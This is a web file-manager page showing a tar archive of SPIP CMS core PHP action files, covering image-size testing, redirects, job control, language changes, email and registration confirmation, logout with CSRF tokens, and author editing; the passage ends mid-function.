Gestionnaire de fichiers - Editer - /home/noironk/www/tmp/cache/b5/device.tar
Arrière
ecrire/action/tester_taille.php 0000666 00000010617 15226363036 0012662 0 ustar 00 <?php /***************************************************************************\ * SPIP, Systeme de publication pour l'internet * * * * Copyright (c) 2001-2019 * * Arnaud Martin, Antoine Pitrou, Philippe Riviere, Emmanuel Saint-James * * * * Ce programme est un logiciel libre distribue sous licence GNU/GPL. * * Pour plus de details voir le fichier COPYING.txt ou l'aide en ligne. * \***************************************************************************/ /** * Gestion de l'action testant, pour la librairie graphique GD2, la taille * maximale des images qu'il est capable de traiter * * @package SPIP\Core\Configurer */ if (!defined('_ECRIRE_INC_VERSION')) { return; } include_spip('inc/headers'); /** * Interception très probable d'une impossibilité de créer l'image demandée * dans le buffer de ob_start() * * Si c'est le cas, on redirige sur la page prévue, testant un autre cas * de traitement * * @param string $output * Sortie du buffer * @return string * Sortie du buffer **/ function action_tester_taille_error_handler($output) { // on est ici, donc echec lors de la creation de l'image if (!empty($GLOBALS['redirect'])) { return redirige_formulaire($GLOBALS['redirect']); } return $output; } /** * Tester nos capacités à redimensionner des images avec GD2 (taille mémoire) * * Ce test par dichotomie permet de calculer la taille (en pixels) de la * plus grande image traitable. Ce test se relance jusqu'à trouver cette * taille. * * La clé `arg` attendue est une chaîne indiquant les valeurs minimum et * maximum de taille à tester tel que '3000' (maximum) ou '3000-5000' * (minimum-maximum) * **/ function action_tester_taille_dist() { if (!autoriser('configurer')) { return; } $taille = _request('arg'); $taille = explode('-', $taille); $GLOBALS['taille_max'] = end($taille); $GLOBALS['taille_min'] = 0; if (count($taille) > 1) { $GLOBALS['taille_min'] = reset($taille); } // si l'intervalle est assez petit, on garde la valeur min if ($GLOBALS['taille_max'] * $GLOBALS['taille_max'] - $GLOBALS['taille_min'] * $GLOBALS['taille_min'] < 50000) { $t = ($GLOBALS['taille_min'] * $GLOBALS['taille_min']); if ($GLOBALS['taille_min'] !== $GLOBALS['taille_max']) { $t = $t * 0.9; // marge de securite echo round($t / 1000000, 3) . ' Mpx'; } else { // c'est un cas "on a reussi la borne max initiale, donc on a pas de limite connue" $t = 0; echo "∞"; } ecrire_meta('max_taille_vignettes', $t, 'non'); die(); } $taille = $GLOBALS['taille_test'] = round(($GLOBALS['taille_max'] + $GLOBALS['taille_min']) / 2); include_spip('inc/filtres'); // des inclusions representatives d'un hit prive et/ou public pour la conso memoire include_spip('public/assembler'); include_spip('public/balises'); include_spip('public/boucles'); include_spip('public/cacher'); include_spip('public/compiler'); include_spip('public/composer'); include_spip('public/criteres'); include_spip('public/interfaces'); include_spip('public/parametrer'); include_spip('public/phraser_html'); include_spip('public/references'); include_spip('inc/presentation'); include_spip('inc/charsets'); include_spip('inc/documents'); include_spip('inc/header'); propre("<doc1>"); // charger propre avec le trairement d'un modele $i = _request('i') + 1; $image_source = chemin_image("test.png"); $GLOBALS['redirect'] = generer_url_action("tester_taille", "i=$i&arg=" . $GLOBALS['taille_min'] . "-" . $GLOBALS['taille_test']); ob_start('action_tester_taille_error_handler'); filtrer('image_recadre', $image_source, $taille, $taille); $GLOBALS['redirect'] = generer_url_action("tester_taille", "i=$i&arg=$taille-" . $GLOBALS['taille_max']); // si la valeur intermediaire a reussi, on teste la valeur maxi qui est peut etre sous estimee // si $GLOBALS['taille_min']==0 (car on est au premier coup) if ($GLOBALS['taille_min'] == 0) { $taille = $GLOBALS['taille_max']; filtrer('image_recadre', $image_source, $taille, $taille); $GLOBALS['redirect'] = generer_url_action("tester_taille", "i=$i&arg=$taille-" . $GLOBALS['taille_max']); } ob_end_clean(); // on est ici, donc pas de plantage echo redirige_formulaire($GLOBALS['redirect']); } ecrire/action/redirect.php 0000666 00000007246 15226363036 0011627 0 ustar 00 <?php /***************************************************************************\ * SPIP, Systeme de publication pour l'internet * * * * Copyright (c) 2001-2019 * * Arnaud Martin, Antoine Pitrou, Philippe Riviere, Emmanuel Saint-James * * * * Ce programme est un logiciel libre distribue sous licence GNU/GPL. * * Pour plus de details voir le fichier COPYING.txt ou l'aide en ligne. * \***************************************************************************/ /** * Gestion de redirection publique à la volée d'un objet éditorial en * recalculant au passage son URL * * @package SPIP\Core\Redirections **/ if (!defined('_ECRIRE_INC_VERSION')) { return; } /** * Script utile pour recalculer une URL symbolique dès son changement * * Cette action est appelé par les boutons 'Voir en ligne' ou par * le fichier `.htaccess` activé lors d'une URL du genre : http://site/1234 * * @example * ``` * [(#VAL{redirect} * |generer_url_action{type=article&id=#ID_ARTICLE} * |parametre_url{var_mode,calcul} * |icone_horizontale{<:icone_voir_en_ligne:>,racine})] * ``` **/ function action_redirect_dist() { $type = _request('type'); $id = intval(_request('id')); $page = false; // verifier le type ou page transmis if (!preg_match('/^\w+$/', $type)) { $page = _request('page'); if (!preg_match('/^\w+$/', $page)) { return; } } if ($var_mode = _request('var_mode')) { // forcer la mise a jour de l'url de cet objet ! if (!defined('_VAR_URLS')) { define('_VAR_URLS', true); } } if ($page) { $url = generer_url_public($page, '', true); } else { $url = calculer_url_redirect_entite($type, $id, $var_mode); } $status = '302'; if ($url) { if ($var_mode) { $url = parametre_url($url, 'var_mode', $var_mode, '&'); } if ($var_mode == 'preview' and defined('_PREVIEW_TOKEN') and _PREVIEW_TOKEN and autoriser('previsualiser') ) { include_spip('inc/securiser_action'); $token = calculer_token_previsu($url); $url = parametre_url($url, 'var_previewtoken', $token); } if (_request('status') and _request('status') == '301') { $status = '301'; } } else { $url = generer_url_public('404', '', true); } redirige_par_entete(str_replace('&', '&', $url), '', $status); } /** * Retourne l’URL de l’objet sur lequel on doit rediriger * * On met en cache les calculs (si memoization), * et on ne donne pas l’URL si la personne n’y a pas accès * * @param string $type * @param int $id * @param string $var_mode */ function calculer_url_redirect_entite($type, $id, $var_mode) { // invalider le cache à chaque modif en bdd $date = 0; if (isset($GLOBALS['meta']['derniere_modif'])) { $date = $GLOBALS['meta']['derniere_modif']; } $key = "url-$date-$type-$id"; // Obtenir l’url et si elle est publié du cache memoization if (function_exists('cache_get') and $desc = cache_get($key)) { list($url, $publie) = $desc; } // Si on ne l’a pas trouvé, ou si var mode, on calcule l’url et son état publie if (empty($desc) or $var_mode) { $publie = objet_test_si_publie($type, $id); $url = generer_url_entite_absolue($id, $type, '', '', true); if (function_exists('cache_set')) { cache_set($key, array($url, $publie), 3600); } } // On valide l’url si elle est publiee ; sinon si preview on teste l’autorisation if ($publie) { return $url; } elseif (defined('_VAR_PREVIEW') and _VAR_PREVIEW and autoriser('voir', $type, $id)) { return $url; } return; } ecrire/action/annuler_job.php 0000666 00000002146 15226363036 0012316 0 ustar 00 <?php /***************************************************************************\ * SPIP, Systeme de publication pour l'internet * * * * Copyright (c) 2001-2019 * * Arnaud Martin, Antoine Pitrou, Philippe Riviere, Emmanuel Saint-James * * * * Ce programme est un logiciel libre distribue sous licence GNU/GPL. * * Pour plus de details voir le fichier COPYING.txt ou l'aide en ligne. * \***************************************************************************/ /** * Gestion de l'action annuler_job * * @package SPIP\Core\Job **/ if (!defined('_ECRIRE_INC_VERSION')) { return; } /** * Annuler un travail * * @return void */ function action_annuler_job_dist() { $securiser_action = charger_fonction('securiser_action', 'inc'); $id_job = $securiser_action(); if ($id_job = intval($id_job) and autoriser('annuler', 'job', $id_job) ) { job_queue_remove($id_job); } } ecrire/action/instituer_langue_objet.php 0000666 00000004711 15226363036 0014564 0 ustar 00 <?php /***************************************************************************\ * SPIP, Systeme de publication pour l'internet * * * * Copyright (c) 2001-2019 * * Arnaud Martin, Antoine Pitrou, Philippe Riviere, Emmanuel Saint-James * * * * Ce programme est un logiciel libre distribue sous licence GNU/GPL. * * Pour plus de details voir le fichier COPYING.txt ou l'aide en ligne. * \***************************************************************************/ /** * Action des changements de langue des objets éditoriaux * * @package SPIP\Core\Edition **/ if (!defined('_ECRIRE_INC_VERSION')) { return; } /** * Modifier la langue d'un objet * * @param string $objet * @param int $id * @param int $id_rubrique * @param string $changer_lang * @param string $serveur * @return string */ function action_instituer_langue_objet_dist($objet, $id, $id_rubrique, $changer_lang, $serveur='') { if ($changer_lang) { $table_objet_sql = table_objet_sql($objet); $id_table_objet = id_table_objet($objet); $trouver_table = charger_fonction('trouver_table', 'base'); $desc = $trouver_table($table_objet_sql, $serveur); $set = array(); if (isset($desc['field']['langue_choisie'])){ $set['langue_choisie'] = 'oui'; } if ($changer_lang != "herit") { $set['lang'] = $changer_lang; sql_updateq($table_objet_sql, $set, "$id_table_objet=" . intval($id),'',$serveur); include_spip('inc/rubriques'); // pour calculer_langues_rubriques et calculer_langues_utilisees if ($table_objet_sql == 'spip_rubriques') { calculer_langues_rubriques(); } $langues = calculer_langues_utilisees($serveur); ecrire_meta('langues_utilisees', $langues); } else { $langue_parent = sql_getfetsel("lang", "spip_rubriques", "id_rubrique=" . intval($id_rubrique)); if (!$langue_parent) { $langue_parent = $GLOBALS['meta']['langue_site']; } $changer_lang = $langue_parent; $set['lang'] = $changer_lang; if (isset($set['langue_choisie'])){ $set['langue_choisie'] = 'non'; } sql_updateq($table_objet_sql, $set, "$id_table_objet=" . intval($id),'',$serveur); if ($table_objet_sql == 'spip_rubriques') { include_spip('inc/rubriques'); calculer_langues_rubriques(); } } } return $changer_lang; } ecrire/action/confirmer_email.php 0000666 00000003223 15226363036 0013150 0 ustar 00 <?php /***************************************************************************\ * SPIP, Systeme de publication pour l'internet * * * * Copyright (c) 2001-2019 * * Arnaud Martin, Antoine Pitrou, Philippe Riviere, Emmanuel Saint-James * * * * Ce programme est un logiciel libre distribue sous licence GNU/GPL. * * Pour plus de details voir le fichier COPYING.txt ou l'aide en ligne. * \***************************************************************************/ /** * Gestion de l'action confirmer_email * * @package SPIP\Core\Inscription */ if (!defined('_ECRIRE_INC_VERSION')) { return; } /** * Confirmer un changement d'email * * @global array $GLOBALS ['visiteur_session'] * @global string $GLOBALS ['redirect'] * @return void */ function action_confirmer_email_dist() { $securiser_action = charger_fonction('securiser_action', 'inc'); $arg = $securiser_action(); include_spip('inc/filtres'); if ($GLOBALS['visiteur_session']['id_auteur'] and email_valide($arg)) { include_spip('action/editer_auteur'); auteur_modifier($GLOBALS['visiteur_session']['id_auteur'], array('email' => $arg)); } // verifier avant de rediriger pour invalider le message de confirmation // si ca n'a pas marche if ($redirect = _request('redirect') and !$arg == sql_getfetsel('email', 'spip_auteurs', 'id_auteur=' . intval($GLOBALS['visiteur_session'])) ) { $GLOBALS['redirect'] = parametre_url($redirect, 'email_modif', ''); } } ecrire/action/ajouter_lien.php 0000666 00000002762 15226363036 0012504 0 ustar 00 <?php /***************************************************************************\ * SPIP, Systeme de publication pour l'internet * * * * Copyright (c) 2001-2019 * * Arnaud Martin, Antoine Pitrou, Philippe Riviere, Emmanuel Saint-James * * * * Ce programme est un logiciel libre distribue sous licence GNU/GPL. * * Pour plus de details voir le fichier COPYING.txt ou l'aide en ligne. * \***************************************************************************/ /** * Gestion de l'action ajouter_lien * * @package SPIP\Core\Liens **/ if (!defined('_ECRIRE_INC_VERSION')) { return; } /** * Action pour lier 2 objets entre eux * * L'argument attendu est `objet1-id1-objet2-id2` (type d'objet, identifiant) * tel que `mot-7-rubrique-3`. * * @uses objet_associer() * * @param null|string $arg * Clé des arguments. En absence utilise l'argument * de l'action sécurisée. * @return void */ function action_ajouter_lien_dist($arg = null) { if (is_null($arg)) { $securiser_action = charger_fonction('securiser_action', 'inc'); $arg = $securiser_action(); } $arg = explode("-", $arg); list($objet_source, $ids, $objet_lie, $idl) = $arg; include_spip('action/editer_liens'); objet_associer(array($objet_source => $ids), array($objet_lie => $idl)); } ecrire/action/forcer_job.php 0000666 00000002313 15226363036 0012126 0 ustar 00 <?php /***************************************************************************\ * SPIP, Systeme de publication pour l'internet * * * * Copyright (c) 2001-2019 * * Arnaud Martin, Antoine Pitrou, Philippe Riviere, Emmanuel Saint-James * * * * Ce programme est un logiciel libre distribue sous licence GNU/GPL. * * Pour plus de details voir le fichier COPYING.txt ou l'aide en ligne. * \***************************************************************************/ /** * Action pour exécuter un job en attente, tout de suite * * @package SPIP\Core\Job */ if (!defined('_ECRIRE_INC_VERSION')) { return; } /** * Executer un travaille immediatement * * @return void */ function action_forcer_job_dist() { $securiser_action = charger_fonction('securiser_action', 'inc'); $id_job = $securiser_action(); if ($id_job = intval($id_job) and autoriser('forcer', 'job', $id_job) ) { include_spip('inc/queue'); include_spip('inc/genie'); queue_schedule(array($id_job)); } } ecrire/action/supprimer_lien.php 0000666 00000003013 15226363036 0013047 0 ustar 00 <?php /***************************************************************************\ * SPIP, Systeme de publication pour l'internet * * * * Copyright (c) 2001-2019 * * Arnaud Martin, Antoine Pitrou, Philippe Riviere, Emmanuel Saint-James * * * * Ce programme est un logiciel libre distribue sous licence GNU/GPL. * * Pour plus de details voir le fichier COPYING.txt ou l'aide en ligne. * \***************************************************************************/ /** * Action pour dissocier un lien entre 2 objets * * @package SPIP\Core\Liens\API */ if (!defined('_ECRIRE_INC_VERSION')) { return; } /** * Action pour dissocier 2 objets entre eux * * L'argument attendu est `objet1-id1-objet2-id2` (type d'objet, identifiant) * tel que `mot-7-rubrique-3`. * * @uses objet_dissocier() * * @param null|string $arg * Clé des arguments. En absence utilise l'argument * de l'action sécurisée. * @return void */ function action_supprimer_lien_dist($arg = null) { if (is_null($arg)) { $securiser_action = charger_fonction('securiser_action', 'inc'); $arg = $securiser_action(); } $arg = explode("-", $arg); list($objet_source, $ids, $objet_lie, $idl) = $arg; include_spip('action/editer_liens'); objet_dissocier(array($objet_source => $ids), array($objet_lie => $idl)); } ecrire/action/etre_webmestre.php 0000666 00000003615 15226363036 0013036 0 ustar 00 <?php /***************************************************************************\ * SPIP, Systeme de publication pour l'internet * * * * Copyright (c) 2001-2019 * * Arnaud Martin, Antoine Pitrou, Philippe Riviere, Emmanuel Saint-James * * * * Ce programme est un logiciel libre distribue sous licence GNU/GPL. * * Pour plus de details voir le fichier COPYING.txt ou l'aide en ligne. * \***************************************************************************/ /** * Gestion de l'action pour s'autoriser webmestre * * @package SPIP\Core\Autorisations */ if (!defined('_ECRIRE_INC_VERSION')) { return; } include_spip('inc/actions'); /** * Prouver qu'on a les droits de webmestre via un ftp, et * devenir webmestre sans refaire l'install * * @return void */ function action_etre_webmestre_dist() { $securiser_action = charger_fonction('securiser_action', 'inc'); $time = $securiser_action(); if (time() - $time < 15 * 60 and $GLOBALS['visiteur_session']['statut'] == '0minirezo' and $GLOBALS['visiteur_session']['webmestre'] !== 'oui' ) { $action = _T('info_admin_etre_webmestre'); $admin = charger_fonction('admin', 'inc'); // lance la verif par ftp et l'appel // a base_etre_webmestre_dist quand c'est OK if ($r = $admin('etre_webmestre', $action)) { echo $r; exit; } } } /** * Passe l'administrateur connecté en webmestre. * * @return void */ function base_etre_webmestre_dist() { if ($GLOBALS['visiteur_session']['statut'] == '0minirezo' and $GLOBALS['visiteur_session']['webmestre'] !== 'oui') { include_spip('action/editer_auteur'); instituer_auteur($GLOBALS['visiteur_session']['id_auteur'], array('webmestre' => 'oui'), true); } } ecrire/action/logout.php 0000666 00000011044 15226363036 0011326 0 ustar 00 <?php /***************************************************************************\ * SPIP, Systeme de publication pour l'internet * * * * Copyright (c) 2001-2019 * * Arnaud Martin, Antoine Pitrou, Philippe Riviere, Emmanuel Saint-James * * * * Ce programme est un logiciel libre distribue sous licence GNU/GPL. * * Pour plus de details voir le fichier COPYING.txt ou l'aide en ligne. * \***************************************************************************/ /** * Action pour déconnecter une personne authentifiée * * @package SPIP\Core\Authentification */ if (!defined('_ECRIRE_INC_VERSION')) { return; } include_spip('inc/cookie'); /** * Se déloger * * Pour éviter les CSRF on passe par une étape de confirmation si pas de jeton fourni * avec un autosubmit js pour ne pas compliquer l'expérience utilisateur * * Déconnecte l'utilisateur en cours et le redirige sur l'URL indiquée par * l'argument de l'action sécurisée, et sinon sur la page d'accueil * de l'espace public. * */ function action_logout_dist() { $logout = _request('logout'); $url = securiser_redirect_action(_request('url')); // cas particulier, logout dans l'espace public if ($logout == 'public' and !$url) { $url = url_de_base(); } // seul le loge peut se deloger (mais id_auteur peut valoir 0 apres une restauration avortee) if (isset($GLOBALS['visiteur_session']['id_auteur']) and is_numeric($GLOBALS['visiteur_session']['id_auteur']) // des sessions anonymes avec id_auteur=0 existent, mais elle n'ont pas de statut : double check and isset($GLOBALS['visiteur_session']['statut']) ) { // il faut un jeton pour fermer la session (eviter les CSRF) if (!$jeton = _request('jeton') or !verifier_jeton_logout($jeton, $GLOBALS['visiteur_session']) ) { $jeton = generer_jeton_logout($GLOBALS['visiteur_session']); $action = generer_url_action("logout", "jeton=$jeton"); $action = parametre_url($action, 'logout', _request('logout')); $action = parametre_url($action, 'url', _request('url')); include_spip("inc/minipres"); include_spip("inc/filtres"); $texte = bouton_action(_T('spip:icone_deconnecter'), $action); $texte = "<div class='boutons'>$texte</div>"; $texte .= '<script type="text/javascript">document.write("<style>body{visibility:hidden;}</style>");window.document.forms[0].submit();</script>'; $res = minipres(_T('spip:icone_deconnecter'), $texte, '', true); echo $res; return; } include_spip('inc/auth'); auth_trace($GLOBALS['visiteur_session'], '0000-00-00 00:00:00'); // le logout explicite vaut destruction de toutes les sessions if (isset($_COOKIE['spip_session'])) { $session = charger_fonction('session', 'inc'); $session($GLOBALS['visiteur_session']['id_auteur']); spip_setcookie('spip_session', $_COOKIE['spip_session'], time() - 3600); } // si authentification http, et que la personne est loge, // pour se deconnecter, il faut proposer un nouveau formulaire de connexion http if (isset($_SERVER['PHP_AUTH_USER']) and !$GLOBALS['ignore_auth_http'] and $GLOBALS['auth_can_disconnect'] ) { ask_php_auth(_T('login_deconnexion_ok'), _T('login_verifiez_navigateur'), _T('login_retour_public'), "redirect=" . _DIR_RESTREINT_ABS, _T('login_test_navigateur'), true); } } // Rediriger en contrant le cache navigateur (Safari3) include_spip('inc/headers'); redirige_par_entete($url ? parametre_url($url, 'var_hasard', uniqid(rand()), '&') : generer_url_public('login')); } /** * Generer un jeton de logout personnel et ephemere * * @param array $session * @param null|string $alea * @return string */ function generer_jeton_logout($session, $alea = null) { if (is_null($alea)) { include_spip('inc/acces'); $alea = charger_aleas(); } $jeton = md5($session['date_session'] . $session['id_auteur'] . $session['statut'] . $alea ); return $jeton; } /** * Verifier que le jeton de logout est bon * * Il faut verifier avec alea_ephemere_ancien si pas bon avec alea_ephemere * pour gerer le cas de la rotation d'alea * * @param string $jeton * @param array $session * @return bool */ function verifier_jeton_logout($jeton, $session) { if (generer_jeton_logout($session) === $jeton) { return true; } if (generer_jeton_logout($session, $GLOBALS['meta']['alea_ephemere_ancien']) === $jeton) { return true; } return false; } ecrire/action/confirmer_inscription.php 0000666 00000005327 15226363036 0014431 0 ustar 00 <?php /***************************************************************************\ * SPIP, Systeme de publication pour l'internet * * * * Copyright (c) 2001-2019 * * Arnaud Martin, Antoine Pitrou, Philippe Riviere, Emmanuel Saint-James * * * * Ce programme est un logiciel libre distribue sous licence GNU/GPL. * * Pour plus de details voir le fichier COPYING.txt ou l'aide en ligne. * \***************************************************************************/ /** * Gestion de l'action confirmer_inscription * * @package SPIP\Core\Inscription */ if (!defined('_ECRIRE_INC_VERSION')) { return; } /** * Action de confirmation d'une inscription * * @global array $GLOBALS ['visiteur_session'] * @global string $GLOBALS ['redirect'] * @return void */ function action_confirmer_inscription_dist() { $jeton = _request('jeton'); $email = _request('email'); include_spip('action/inscrire_auteur'); if ($auteur = auteur_verifier_jeton($jeton) and $auteur['email'] == $email and $auteur['statut'] == 'nouveau' ) { // d'abord on confirme son statut $auteur = confirmer_statut_inscription($auteur); // OK c'est un nouvel inscrit qui confirme : // on le loge => ca va confirmer son statut et c'est plus sympa include_spip('inc/auth'); auth_loger($auteur); // et on efface son jeton auteur_effacer_jeton($auteur['id_auteur']); // si pas de redirection demandee, rediriger vers public ou prive selon le statut de l'auteur // TODO: ne semble pas marcher si inscrit non visiteur, a debug if (!_request('redirect')) { // on passe id_auteur explicite pour forcer une lecture en base de toutes les infos if (autoriser('ecrire', '', '', $auteur['id_auteur'])) { // poser un cookie admin aussi $cookie = charger_fonction('cookie', 'action'); $cookie("@" . $GLOBALS['visiteur_session']['login']); $GLOBALS['redirect'] = _DIR_RESTREINT_ABS; } else { $GLOBALS['redirect'] = $GLOBALS['meta']['adresse_site']; } } } else { // lien perime : if ($GLOBALS['visiteur_session']['id_auteur']) { // on passe id_auteur explicite pour forcer une lecture en base de toutes les infos if (autoriser('ecrire', '', '', $GLOBALS['visiteur_session']['id_auteur'])) { $GLOBALS['redirect'] = _DIR_RESTREINT_ABS; } else { $GLOBALS['redirect'] = $GLOBALS['meta']['adresse_site']; } } else // rediriger vers la page de login si pas encore loge { $GLOBALS['redirect'] = parametre_url(generer_url_public('login', '', false), 'url', _request('redirect')); } } } ecrire/action/editer_auteur.php 0000666 00000031755 15226363036 0012671 0 ustar 00 <?php /***************************************************************************\ * SPIP, Systeme de publication pour l'internet * * * * Copyright (c) 2001-2019 * * Arnaud Martin, Antoine Pitrou, Philippe Riviere, Emmanuel Saint-James * * * * Ce programme est un logiciel libre distribue sous licence GNU/GPL. * * Pour plus de details voir le fichier COPYING.txt ou l'aide en ligne. * \***************************************************************************/ /** * Gestion de l'action editer_auteur et de l'API d'édition d'un auteur * * @package SPIP\Core\Auteurs\Edition */ if (!defined('_ECRIRE_INC_VERSION')) { return; } /** * Éditer ou créer un auteur * * Si aucun identifiant d'auteur n'est donné, on crée alors un nouvel auteur. * * @global array visiteur_session * @uses auteur_inserer() * @uses auteur_modifier() * * @param array|null $arg * Identifiant de l'auteur. En absence utilise l'argument * de l'action sécurisée. * @return array * Liste (identifiant de l'auteur, Texte d'erreur éventuel) */ function action_editer_auteur_dist($arg = null) { if (is_null($arg)) { $securiser_action = charger_fonction('securiser_action', 'inc'); $arg = $securiser_action(); } // si id_auteur n'est pas un nombre, c'est une creation if (!$id_auteur = intval($arg)) { if (($id_auteur = auteur_inserer()) > 0) { # cf. GROS HACK # recuperer l'eventuel logo charge avant la creation # ils ont un id = 0-id_auteur de la session $id_hack = 0 - $GLOBALS['visiteur_session']['id_auteur']; $chercher_logo = charger_fonction('chercher_logo', 'inc'); foreach (array('on', 'off') as $type) { if ($logo = $chercher_logo($id_hack, 'id_auteur', $type)) { if ($logo = reset($logo)) { rename($logo, str_replace($id_hack, $id_auteur, $logo)); } } } } } // Enregistre l'envoi dans la BD $err = ""; if ($id_auteur > 0) { $err = auteur_modifier($id_auteur); } if ($err) { spip_log("echec editeur auteur: $err", _LOG_ERREUR); } return array($id_auteur, $err); } /** * Insérer un auteur en base * * @pipeline_appel pre_insertion * @pipeline_appel post_insertion * * @param string|null $source * D'où provient l'auteur créé ? par défaut 'spip', mais peut être 'ldap' ou autre. * @param array|null $set * @return int * Identifiant de l'auteur créé */ function auteur_inserer($source = null, $set = null) { // Ce qu'on va demander comme modifications $champs = array(); $champs['source'] = $source ? $source : 'spip'; $champs['login'] = ''; $champs['statut'] = '5poubelle'; // inutilisable tant qu'il n'a pas ete renseigne et institue $champs['webmestre'] = 'non'; if ($set) { $champs = array_merge($champs, $set); } // Envoyer aux plugins $champs = pipeline('pre_insertion', array( 'args' => array( 'table' => 'spip_auteurs', ), 'data' => $champs ) ); $id_auteur = sql_insertq("spip_auteurs", $champs); pipeline('post_insertion', array( 'args' => array( 'table' => 'spip_auteurs', 'id_objet' => $id_auteur ), 'data' => $champs ) ); return $id_auteur; } /** * Modifier un auteur * * Appelle toutes les fonctions de modification d'un auteur * * @param int $id_auteur * Identifiant de l'auteur * @param array|null $set * Couples (colonne => valeur) de données à modifier. * En leur absence, on cherche les données dans les champs éditables * qui ont été postés (via collecter_requests()) * @param bool $force_update * Permet de forcer la maj en base des champs fournis, sans passer par instancier. * Utilise par auth/spip * @return string|null * * - Chaîne vide si aucune erreur, * - Chaîne contenant un texte d'erreur sinon. */ function auteur_modifier($id_auteur, $set = null, $force_update = false) { include_spip('inc/modifier'); include_spip('inc/filtres'); $c = collecter_requests( // white list objet_info('auteur', 'champs_editables'), // black list $force_update ? array() : array('webmestre', 'pass', 'login'), // donnees eventuellement fournies $set ); if ($err = objet_modifier_champs('auteur', $id_auteur, array( 'data' => $set, 'nonvide' => array('nom' => _T('ecrire:item_nouvel_auteur')) ), $c) ) { return $err; } $session = $c; $err = ''; if (!$force_update) { // Modification de statut, changement de rubrique ? $c = collecter_requests( // white list array( 'statut', 'new_login', 'new_pass', 'login', 'pass', 'webmestre', 'restreintes', 'id_parent' ), // black list array(), // donnees eventuellement fournies $set ); if (isset($c['new_login']) and !isset($c['login'])) { $c['login'] = $c['new_login']; } if (isset($c['new_pass']) and !isset($c['pass'])) { $c['pass'] = $c['new_pass']; } $err = auteur_instituer($id_auteur, $c); $session = array_merge($session, $c); } // .. mettre a jour les sessions de cet auteur include_spip('inc/session'); $session['id_auteur'] = $id_auteur; unset($session['new_login']); unset($session['new_pass']); actualiser_sessions($session); return $err; } /** * Associer un auteur à des objets listés * * @uses objet_associer() * * @param int $id_auteur * Identifiant de l'auteur * @param array $objets * Liste sous la forme `array($objet=>$id_objets,...)`. * `$id_objets` peut lui-même être un scalaire ou un tableau pour une liste * d'objets du même type. * @param array|null $qualif * Optionnellement indique une qualification du (des) lien(s) qui sera * alors appliquée dans la foulée. * En cas de lot de liens, c'est la même qualification qui est appliquée à tous * @return string */ function auteur_associer($id_auteur, $objets, $qualif = null) { include_spip('action/editer_liens'); return objet_associer(array('auteur' => $id_auteur), $objets, $qualif); } /** * Ancien nommage pour compatibilité * * @deprecated Utiliser auteur_associer() * @see auteur_associer() * * @param int $id_auteur * @param array $c * @return string */ function auteur_referent($id_auteur, $c) { return auteur_associer($id_auteur, $c); } /** * Dissocier un auteur des objets listés * * @uses objet_dissocier() * * @param int $id_auteur * Identifiant de l'auteur * @param array $objets * Liste sous la forme `array($objet=>$id_objets,...)`. * `$id_objets` peut lui-même être un scalaire ou un tableau pour une liste * d'objets du même type. * * Un `*` pour $id_auteur,$objet,$id_objet permet de traiter par lot * @return string */ function auteur_dissocier($id_auteur, $objets) { include_spip('action/editer_liens'); return objet_dissocier(array('auteur' => $id_auteur), $objets); } /** * Qualifier le lien d'un auteur avec les objets listés * * @uses objet_qualifier_liens() * * @param int $id_auteur * Identifiant de l'auteur * @param array $objets * Liste sous la forme `array($objet=>$id_objets,...)`. * `$id_objets` peut lui-même être un scalaire ou un tableau pour une liste * d'objets du même type. * * Un `*` pour $id_auteur,$objet,$id_objet permet de traiter par lot * @param array $qualif * Couples (colonne, valeur) tel que `array('vu'=>'oui');` * @return bool|int */ function auteur_qualifier($id_auteur, $objets, $qualif) { include_spip('action/editer_liens'); return objet_qualifier_liens(array('auteur' => $id_auteur), $objets, $qualif); } /** * Modifier le statut d'un auteur, ou son login/pass * * @pipeline_appel pre_edition * @pipeline_appel post_edition * * @param int $id_auteur * Identifiant de l'auteur * @param array $c * Couples (colonne => valeur) des données à instituer * @param bool $force_webmestre * Autoriser un auteur à passer webmestre (force l'autorisation) * @return bool|string */ function auteur_instituer($id_auteur, $c, $force_webmestre = false) { if (!$id_auteur = intval($id_auteur)) { return false; } $erreurs = array(); // contiendra les differentes erreurs a traduire par _T() $champs = array(); // les memoriser pour les faire passer dans le pipeline pre_edition if (isset($c['login']) and strlen($c['login'])) { $champs['login'] = $c['login']; } if (isset($c['pass']) and strlen($c['pass'])) { $champs['pass'] = $c['pass']; } $statut = $statut_ancien = sql_getfetsel('statut', 'spip_auteurs', 'id_auteur=' . intval($id_auteur)); if (isset($c['statut']) and (autoriser('modifier', 'auteur', $id_auteur, null, array('statut' => $c['statut']))) ) { $statut = $champs['statut'] = $c['statut']; } // Restreindre avant de declarer l'auteur // (section critique sur les droits) if (isset($c['id_parent']) and $c['id_parent']) { if (is_array($c['restreintes'])) { $c['restreintes'][] = $c['id_parent']; } else { $c['restreintes'] = array($c['id_parent']); } } if (isset($c['webmestre']) and ($force_webmestre or autoriser('modifier', 'auteur', $id_auteur, null, array('webmestre' => '?'))) ) { $champs['webmestre'] = $c['webmestre'] == 'oui' ? 'oui' : 'non'; } // si statut change et n'est pas 0minirezo, on force webmestre a non if (isset($c['statut']) and $c['statut'] !== '0minirezo') { $champs['webmestre'] = $c['webmestre'] = 'non'; } // Envoyer aux plugins $champs = pipeline('pre_edition', array( 'args' => array( 'table' => 'spip_auteurs', 'id_objet' => $id_auteur, 'action' => 'instituer', 'statut_ancien' => $statut_ancien, ), 'data' => $champs ) ); if (isset($c['restreintes']) and is_array($c['restreintes']) and autoriser('modifier', 'auteur', $id_auteur, null, array('restreint' => $c['restreintes'])) ) { $rubriques = array_map('intval', $c['restreintes']); $rubriques = array_unique($rubriques); $rubriques = array_diff($rubriques, array(0)); auteur_dissocier($id_auteur, array('rubrique' => '*')); auteur_associer($id_auteur, array('rubrique' => $rubriques)); } $flag_ecrire_acces = false; // commencer par traiter les cas particuliers des logins et pass // avant les autres ecritures en base if (isset($champs['login']) or isset($champs['pass'])) { $auth_methode = sql_getfetsel('source', 'spip_auteurs', 'id_auteur=' . intval($id_auteur)); include_spip('inc/auth'); if (isset($champs['login']) and strlen($champs['login'])) { if (!auth_modifier_login($auth_methode, $champs['login'], $id_auteur)) { $erreurs[] = 'ecrire:impossible_modifier_login_auteur'; } } if (isset($champs['pass']) and strlen($champs['pass'])) { $champs['login'] = sql_getfetsel('login', 'spip_auteurs', 'id_auteur=' . intval($id_auteur)); if (!auth_modifier_pass($auth_methode, $champs['login'], $champs['pass'], $id_auteur)) { $erreurs[] = 'ecrire:impossible_modifier_pass_auteur'; } } unset($champs['login']); unset($champs['pass']); $flag_ecrire_acces = true; } if (!count($champs)) { return implode(' ', array_map('_T', $erreurs)); } sql_updateq('spip_auteurs', $champs, 